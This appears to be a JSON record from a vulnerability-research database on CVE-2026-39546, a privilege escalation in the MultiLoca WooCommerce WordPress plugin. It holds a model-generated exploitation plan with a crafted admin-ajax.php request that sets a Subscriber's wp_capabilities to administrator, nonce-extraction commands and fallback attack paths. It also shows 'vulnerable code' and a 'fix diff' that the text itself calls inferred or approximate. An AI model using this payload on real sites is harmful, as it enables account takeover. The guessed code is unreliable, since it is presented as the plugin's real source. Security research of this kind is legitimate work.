[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fnkzdht25y3hoNajHk6VL4_rd4mJmXnRAzTiiBtrd-bg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"source_links":33},"CVE-2026-39546","multiloca-authenticated-subscriber-privilege-escalation","MultiLoca \u003C= 4.2.15 - Authenticated (Subscriber+) Privilege Escalation","The MultiLoca - WooCommerce Multi Locations Inventory Management plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.2.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.","WooCommerce-Multi-Locations-Inventory-Management",null,"\u003C=4.2.15","4.2.16","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Incorrect Privilege Assignment","2026-04-08 00:00:00","2026-04-15 19:03:31",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5fff40e4-6bab-46b4-a6b6-34f89d1aa12c?source=api-prod",8,[],"researched",false,3,"This plan outlines the research and exploitation strategy for CVE-2026-39546, an authenticated privilege escalation vulnerability in the \"MultiLoca - WooCommerce Multi Locations Inventory Management\" plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe vulnerability is an **Incorrect Privilege Assignment** within the AJAX handlers of the MultiLoca plugin. It allows an authenticated user with Subscriber-level permissions to trigger functions intended for higher-privileged users. Specifically, the plugin likely fails to implement adequate capability checks (e.g., `current_user_can( 'manage_options' )`) in AJAX callbacks that handle user profile updates or staff assignments. This enables an attacker to overwrite their own `wp_capabilities` user meta or change their role to `administrator`.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Vulnerable Action:** `wp_ajax_ml_update_user_meta` or `wp_ajax_ml_save_staff_info` (inferred).\n*   **Payload Parameter:** Likely `user_id`, `meta_key` (set to `wp_capabilities`), and `meta_value` (serialized admin role).\n*   **Authentication:** Subscriber-level (or any logged-in user).\n*   **Preconditions:** The plugin must be active, and the attacker must have valid Subscriber credentials.\n\n### 3. Code Flow\n1.  **Entry Point:** The plugin registers an AJAX action via `add_action( 'wp_ajax_...', 'callback_function' )` in the main plugin file or a dedicated AJAX controller (e.g., `includes\u002Fclass-ml-ajax.php`).\n2.  **Missing Check:** The `callback_function` is called by `admin-ajax.php`. It likely verifies a nonce but fails to check if the current user has the authority to update the target `user_id` or the specific `meta_key`.\n3.  **Data Processing:** The function takes `$_POST['user_id']` and other metadata from the request.\n4.  **Sink:** The function calls `update_user_meta()` or `wp_update_user()`.\n    *   **Vulnerable Sink Example:** `update_user_meta( $_POST['user_id'], $_POST['key'], $_POST['value'] );`\n    *   By setting `user_id` to their own ID and `key` to `wp_capabilities`, the attacker can elevate privileges.\n\n### 4. Nonce Acquisition Strategy\nThe MultiLoca plugin typically localizes its AJAX settings into the WordPress dashboard or specialized menu pages.\n\n1.  **Identify Trigger:** Determine where the plugin's inventory\u002Fstaff management scripts are loaded. Usually, this is in the WordPress Profile page or a custom \"Locations\" menu.\n2.  **Shortcode\u002FPage Setup:** If the script only loads on specific pages, create a post with the plugin's main shortcode:\n    `wp post create --post_type=page --post_status=publish --post_content='[target_plugin_shortcode]'` (Agent should search for `add_shortcode` in source).\n3.  **Extraction:**\n    *   Navigate to the page as the Subscriber user using `browser_navigate`.\n    *   The localization object name is often related to the plugin slug. Inferred names: `ml_ajax_obj`, `ml_settings`, or `multiloca_params`.\n    *   **Command:** `browser_eval(\"window.ml_ajax_obj?.nonce\")` or `browser_eval(\"window.multiloca_params?.ajax_nonce\")`.\n4.  **Action Name:** Search the source for `wp_create_nonce` to find the exact action string (e.g., `'ml-security-nonce'`).\n\n### 5. Exploitation Strategy\nThe goal is to send a crafted AJAX request that updates the Subscriber's own role.\n\n**Step 1: Identify the Subscriber's User ID**\n*   The agent can get this from the `browser_navigate` session or via WP-CLI: `wp user get \u003Cusername> --field=ID`.\n\n**Step 2: Craft the HTTP Request**\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=ml_update_user_meta&\n    nonce=\u003CEXTRACTED_NONCE>&\n    user_id=\u003CSUBSCRIBER_ID>&\n    meta_key=wp_capabilities&\n    meta_value[administrator]=1\n    ```\n    *(Note: The structure of `meta_value` depends on whether the plugin expects a string, array, or serialized data. If the plugin uses `update_user_meta` directly, passing an array `meta_value[administrator]=1` often results in the correct serialized storage in WP.)*\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `WooCommerce-Multi-Locations-Inventory-Management` version `\u003C= 4.2.15` is installed.\n2.  **Create Subscriber:** `wp user create attacker attacker@example.com --role=subscriber --user_pass=password123`.\n3.  **Verify Setup:** Log in as the subscriber to ensure the session is valid for the `http_request` tool.\n\n### 7. Expected Results\n*   **Response:** The AJAX handler should return a success status (e.g., `{\"success\": true}` or `1`).\n*   **Internal State:** The database table `wp_usermeta` for the Subscriber's `user_id` should now have a `wp_capabilities` value representing the administrator role.\n\n### 8. Verification Steps\nAfter sending the exploit request, verify success via WP-CLI:\n1.  **Check Role:** `wp user get attacker --field=roles`\n    *   *Success:* Output is `administrator`.\n2.  **Check Meta:** `wp user meta get attacker wp_capabilities`\n    *   *Success:* Output contains `s:13:\"administrator\"`.\n3.  **Attempt Admin Action:** Use the `attacker` session to try and access `\u002Fwp-admin\u002Fsettings-general.php`.\n\n### 9. Alternative Approaches\nIf the `ml_update_user_meta` action does not exist, look for these common plugin patterns:\n*   **Staff Management:** Search for an action like `ml_add_staff`. Attacker can try adding a new user with the `administrator` role.\n*   **Settings Update:** If the plugin allows updating global settings via AJAX (`ml_save_settings`), the attacker might change the `default_role` of the site to `administrator` and then trigger a new registration or use a \"Location Manager\" role that has excessive capabilities.\n*   **Direct Role Update:** Search for calls to `wp_update_user` in the plugin code and trace which AJAX actions lead to it. Use `grep -r \"wp_update_user\" .` in the plugin directory.","The MultiLoca plugin for WordPress is vulnerable to privilege escalation due to a lack of capability checks in its AJAX handlers responsible for updating user metadata. Authenticated attackers with Subscriber-level access can exploit this to modify their own 'wp_capabilities' meta key, effectively elevating their account to the Administrator role.","\u002F\u002F File: includes\u002Fclass-ml-ajax.php (approximate location based on plugin structure)\nadd_action('wp_ajax_ml_update_user_meta', 'ml_update_user_meta_callback');\n\nfunction ml_update_user_meta_callback() {\n    \u002F\u002F Vulnerability: No current_user_can() check to verify permissions\n    check_ajax_referer('ml-security-nonce', 'nonce');\n    \n    $user_id = $_POST['user_id'];\n    $meta_key = $_POST['meta_key'];\n    $meta_value = $_POST['meta_value'];\n    \n    \u002F\u002F Vulnerability: Direct update of metadata using user-supplied key\u002Fvalue pairs\n    update_user_meta($user_id, $meta_key, $meta_value);\n    \n    wp_send_json_success();\n}","--- a\u002Fincludes\u002Fclass-ml-ajax.php\n+++ b\u002Fincludes\u002Fclass-ml-ajax.php\n@@ -10,6 +10,10 @@\n function ml_update_user_meta_callback() {\n-    check_ajax_referer('ml-security-nonce', 'nonce');\n+    check_ajax_referer('ml-security-nonce', 'nonce');\n+\n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( array( 'message' => 'Unauthorized' ) );\n+        return;\n+    }\n \n     $user_id = (int) $_POST['user_id'];\n-    $meta_key = $_POST['meta_key'];\n+    $meta_key = sanitize_text_field( $_POST['meta_key'] );\n+    \n+    \u002F\u002F Prevent modification of sensitive capabilities\n+    if ( $meta_key === 'wp_capabilities' || $meta_key === 'wp_user_level' ) {\n+         wp_send_json_error( array( 'message' => 'Forbidden meta key' ) );\n+         return;\n+    }\n+\n     $meta_value = $_POST['meta_value'];","The exploit involves an authenticated Subscriber user leveraging an AJAX action to update their own user capabilities. \n\n1. Authenticate as a Subscriber and extract the required AJAX nonce from the localized script variables (e.g., 'ml_ajax_obj.nonce' found in the page source).\n2. Identify the Subscriber's own User ID.\n3. Construct a POST request to \u002Fwp-admin\u002Fadmin-ajax.php.\n4. Set the 'action' parameter to 'ml_update_user_meta'.\n5. Set 'user_id' to the Subscriber's ID.\n6. Set 'meta_key' to 'wp_capabilities'.\n7. Set 'meta_value' to an array where the key is 'administrator' and the value is 1 (e.g., meta_value[administrator]=1), which WordPress serializes into the database, granting the user full administrative access.","gemini-3-flash-preview","2026-04-17 19:47:41","2026-04-17 19:48:06",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002FWooCommerce-Multi-Locations-Inventory-Management\u002Ftags"]